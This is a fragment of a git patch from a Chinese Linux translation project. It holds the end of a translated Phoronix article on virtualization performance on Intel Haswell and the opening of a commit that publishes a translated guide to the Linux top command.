The performance overhead of these virtualization methods were minimal on the Haswell processor. While Xen and KVM were running great on the new Intel CPU, Oracle's VirtualBox (the latest release, v4.2.16) was much slower than Xen and KVM. The benefit VirtualBox has though is means of guest 3D acceleration, which will be benchmarked again in a future Phoronix article. Also to be benchmarked soon on Phoronix will be the relative overhead of the different virtualization methods when comparing Haswell to previous generations of Intel processors as well as AMD's competition. + +-------------------------------------------------------------------------------- + +via: http://www.phoronix.com/scan.php?page=article&item=intel_haswell_virtualization + +译者：[译者ID](http://blog.csdn.net/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.phoronix.com/scan.php?page=search&q=Haswell +[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTM5MzU +[3]:http://www.phoronix-test-suite.com/ +[4]:http://openbenchmarking.org/ + From cca873d663b17894a5cecec92f80879c44d9c65e Mon Sep 17 00:00:00 2001 From: wxy Date: Sun, 8 Dec 2013 11:01:15 +0800 Subject: [PATCH 398/402] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9AUnbelievable?= =?UTF-8?q?=20!=2030=20Linux=20TOP=20Command=20Examples=20With=20Screensho?= =?UTF-8?q?ts?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...x TOP Command Examples With Screenshots.md | 305 ++++++++++++++++++ ...x TOP Command Examples With Screenshots.md | 290 ----------------- 2 files changed, 305 insertions(+), 290 deletions(-) create mode 100644 published/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md delete mode 100644 translated/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md diff --git a/published/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md b/published/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md new file mode 100644 index 0000000000..74c801bcc6 --- /dev/null +++ b/published/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md @@ -0,0 +1,305 @@ +30个实例详解TOP命令 +================================================================================ + +Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中，我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。 + +（译注：不同发行版的top命令在各种细节有不同，如果发现不同时，请读你的帮助手册和命令内的帮助。） + +## 1.
